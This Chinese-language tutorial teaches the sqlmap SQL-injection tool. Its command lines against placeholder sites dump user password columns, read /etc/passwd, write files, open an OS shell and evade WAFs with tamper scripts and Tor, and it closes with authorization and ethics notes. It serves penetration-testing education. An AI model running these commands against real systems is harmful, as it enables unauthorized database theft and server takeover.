什么是 Sqlmap?
Sqlmap 是一个开源的渗透测试工具,用于自动化检测和利用 SQL 注入漏洞。它支持多种数据库管理系统(DBMS),包括:
- MySQL
- PostgreSQL
- Microsoft SQL Server
- Oracle
- SQLite
- Microsoft Access
- IBM DB2
- 等等
主要特性:
- 完全支持六种 SQL 注入技术:布尔盲注、时间盲注、报错注入、联合查询注入、堆叠查询注入、带外注入
- 支持直接连接数据库(通过提供 DBMS 凭证、IP 地址、端口和数据库名称)
- 支持枚举用户、密码哈希、权限、角色、数据库、表和列
- 支持自动识别密码哈希格式并支持使用字典破解
- 支持下载和上传文件
- 支持在数据库服务器上执行任意命令并获取标准输出
安装 Sqlmap
Linux/macOS 安装
# 使用 Git 克隆仓库
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
# 进入目录
cd sqlmap
# 运行 Sqlmap
python sqlmap.py -h
Windows 安装
- 安装 Python(推荐 Python 3.x)
- 下载 Sqlmap:
git clone https://github.com/sqlmapproject/sqlmap.git - 打开命令提示符,进入 sqlmap 目录
- 运行:
python sqlmap.py -h
使用包管理器安装
# Kali Linux(预装)
sudo apt update
sudo apt install sqlmap
# Arch Linux
sudo pacman -S sqlmap
# macOS (Homebrew)
brew install sqlmap
基本使用
1. 检测 SQL 注入漏洞
# 基本检测
python sqlmap.py -u "http://example.com/page.php?id=1"
# 指定参数
python sqlmap.py -u "http://example.com/page.php" --data="id=1&name=test"
# 使用 POST 请求
python sqlmap.py -u "http://example.com/login.php" --data="username=admin&password=test" --method POST
2. 获取数据库信息
# 获取当前数据库
python sqlmap.py -u "http://example.com/page.php?id=1" --current-db
# 获取所有数据库
python sqlmap.py -u "http://example.com/page.php?id=1" --dbs
# 获取当前用户
python sqlmap.py -u "http://example.com/page.php?id=1" --current-user
# 获取数据库版本
python sqlmap.py -u "http://example.com/page.php?id=1" --banner
3. 枚举数据库内容
# 枚举指定数据库的所有表
python sqlmap.py -u "http://example.com/page.php?id=1" -D database_name --tables
# 枚举指定表的所有列
python sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name --columns
# 转储表数据
python sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump
# 转储特定列
python sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name -C "username,password" --dump
高级功能
1. 绕过 WAF(Web 应用防火墙)
Sqlmap 提供了多种绕过技术:
# 使用随机 User-Agent
python sqlmap.py -u "http://example.com/page.php?id=1" --random-agent
# 使用代理
python sqlmap.py -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
# 使用 Tor 网络
python sqlmap.py -u "http://example.com/page.php?id=1" --tor --tor-type=SOCKS5
# 使用 tamper 脚本(编码/混淆 payload)
python sqlmap.py -u "http://example.com/page.php?id=1" --tamper=space2comment
# 常用 tamper 脚本:
# - space2comment: 用 /**/ 替换空格
# - between: 用 NOT BETWEEN 0 AND # 替换大于号
# - charencode: URL 编码
# - randomcase: 随机大小写
# - space2randomblank: 用随机空白字符替换空格
2. 文件操作
# 读取服务器文件
python sqlmap.py -u "http://example.com/page.php?id=1" --file-read="/etc/passwd"
# 写入文件到服务器
python sqlmap.py -u "http://example.com/page.php?id=1" --file-write="local.txt" --file-dest="/tmp/remote.txt"
# 上传文件
python sqlmap.py -u "http://example.com/page.php?id=1" --file-upload="local.txt" --file-dest="/tmp/remote.txt"
3. 执行操作系统命令
# 执行命令(需要数据库权限)
python sqlmap.py -u "http://example.com/page.php?id=1" --os-cmd="whoami"
# 获取交互式 shell
python sqlmap.py -u "http://example.com/page.php?id=1" --os-shell
# 执行 PowerShell 命令(Windows)
python sqlmap.py -u "http://example.com/page.php?id=1" --os-powershell
4. 暴力破解
# 暴力破解表名
python sqlmap.py -u "http://example.com/page.php?id=1" --common-tables
# 暴力破解列名
python sqlmap.py -u "http://example.com/page.php?id=1" --common-columns
# 使用自定义字典
python sqlmap.py -u "http://example.com/page.php?id=1" -D database_name --tables --common-tables
实用技巧
1. 提高检测速度
# 使用线程
python sqlmap.py -u "http://example.com/page.php?id=1" --threads=10
# 跳过启发式检测
python sqlmap.py -u "http://example.com/page.php?id=1" --skip-heuristics
# 只测试 GET/POST 参数
python sqlmap.py -u "http://example.com/page.php?id=1" -p "id"
2. 保存和恢复会话
# 保存会话
python sqlmap.py -u "http://example.com/page.php?id=1" --save="session.sqlite"
# 恢复会话
python sqlmap.py -s "session.sqlite"
# 批量扫描
python sqlmap.py -m "targets.txt"
3. 输出格式
# 详细输出
python sqlmap.py -u "http://example.com/page.php?id=1" -v 3
# 输出级别:
# 0: 只显示 Python 错误和严重信息
# 1: 显示信息和警告
# 2: 显示调试信息
# 3: 显示 payload
# 4: 显示 HTTP 请求
# 5: 显示 HTTP 响应头
# 6: 显示 HTTP 响应页面
# 保存输出到文件
python sqlmap.py -u "http://example.com/page.php?id=1" --output-dir="/tmp/sqlmap_output"
实战示例
示例 1:检测并利用 SQL 注入
# 1. 检测漏洞
python sqlmap.py -u "http://vulnerable-site.com/product.php?id=1"
# 2. 获取数据库信息
python sqlmap.py -u "http://vulnerable-site.com/product.php?id=1" --dbs
# 3. 选择目标数据库
python sqlmap.py -u "http://vulnerable-site.com/product.php?id=1" -D app_db --tables
# 4. 查看用户表
python sqlmap.py -u "http://vulnerable-site.com/product.php?id=1" -D app_db -T users --columns
# 5. 转储用户数据
python sqlmap.py -u "http://vulnerable-site.com/product.php?id=1" -D app_db -T users -C "username,password,email" --dump
示例 2:绕过 WAF 进行测试
# 使用多个绕过技术
python sqlmap.py -u "http://waf-protected-site.com/search.php" \
--data="query=test" \
--random-agent \
--tamper="space2comment,between,charencode" \
--delay=1 \
--timeout=30 \
--retries=3 \
--level=5 \
--risk=3
安全注意事项
合法使用
- 仅用于授权测试:Sqlmap 只能用于你有权限测试的系统
- 遵守法律法规:未经授权的测试可能违法
- 获取书面授权:在测试生产环境前必须获得书面授权
道德准则
- 最小化影响:避免对目标系统造成损害
- 数据保护:不要泄露或滥用获取的数据
- 及时报告:发现漏洞后及时向相关方报告
- 删除数据:测试完成后删除获取的敏感数据
常见问题解答
Q1: Sqlmap 检测不到注入点怎么办?
- 尝试使用
--level和--risk参数提高检测级别 - 使用
--tamper脚本绕过过滤 - 检查是否需要在 Cookie 或 User-Agent 中注入
- 尝试不同的注入点(POST 参数、HTTP 头等)
Q2: 如何提高 Sqlmap 的速度?
- 使用
--threads参数增加线程数 - 使用
--batch参数自动选择默认选项 - 限制测试的参数范围
-p - 使用
--skip跳过不必要的测试
Q3: Sqlmap 支持哪些认证方式?
- HTTP 基本认证:
--auth-type=BASIC --auth-cred="user:pass" - HTTP 摘要认证:
--auth-type=DIGEST --auth-cred="user:pass" - NTLM 认证:
--auth-type=NTLM --auth-cred="DOMAIN\user:pass" - Cookie 认证:
--cookie="PHPSESSID=abc123"
总结
Sqlmap 是安全测试人员必备的工具之一,它极大地简化了 SQL 注入漏洞的检测和利用过程。然而,强大的工具需要负责任的使 用。请始终:
- 遵守法律和道德规范
- 仅在授权范围内使用
- 保护测试中获取的敏感信息
- 及时报告发现的漏洞
通过掌握 Sqlmap,你不仅可以提高安全测试的效率,还能更好地理解 SQL 注入漏洞的原理和防御方法。
更新日期:2026-04-18
适用版本:Sqlmap 1.7+
测试环境:Kali Linux 2026.1, Python 3.11+